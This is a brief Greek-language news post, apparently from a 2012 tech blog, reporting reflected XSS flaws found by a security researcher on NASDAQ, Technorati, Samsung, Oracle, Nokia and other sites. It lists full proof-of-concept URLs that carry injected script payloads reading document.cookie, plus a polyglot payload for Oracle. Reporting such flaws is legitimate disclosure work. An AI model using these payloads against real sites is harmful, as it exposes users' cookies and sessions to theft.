O ερευνητής ασφαλείας, Ankit Sharma, έχει εντοπίσει ευπάθειες τύπου XSS σε πολλές γνωστές ιστοσελίδες.
Οι ιστοσελίδες ...
NASDAQ, Technorati, Conduit, AddThis, AIRODUMP βρέθηκαν ευπαθείς σε επιθέσεις XSS. Επίσης ευπαθείς είναι
και οι ιστοσελίδες των Samsung, Sourceforge και oracle.
Οι ευπάθειες παρουσιάζονται παρακάτω:
NASDAQ:
[http://stocksplits.nasdaq.com/UpcomingSplits.asp?pageName=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
TECHNORATI:
[http://technorati.com/search?return=posts&authority=high&q=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
CONDUIT:
[http://search.conduit.com/?ctid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
ADDTHIS:
[http://www.addthis.com/services/all?a=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
AIRODUMP: [http://download.airodump.net/datas/?dir=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
SAMSUNG:
[https://support-us.samsung.com/cyber/popup/pop_uploadmovie.jsp?symptom_movieid="><script>alert(document.cookie)</script>[
SOURCEFORGE:
[http://marcion.sourceforge.net/dictionary/output.php?S=on&B=on&Sa=on&F=on&Sf=on&Fb=on&A=on&O=on&ssA=on&NH=on&und=on&exact=exact&word=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&search=search]
ORACLE:
[http://tahiti.oracle.com/pls/db92/db92.show_toc?partno=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E]
NOKIA :
[http://beta.nokia.com/s40/nps/scripts/s40_nps.php?project_name=Ovi%20Browser&emailfield=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E]
πηγή
http://www.techandtech.gr/2012/05/technorati-samsung-nokia-xss.html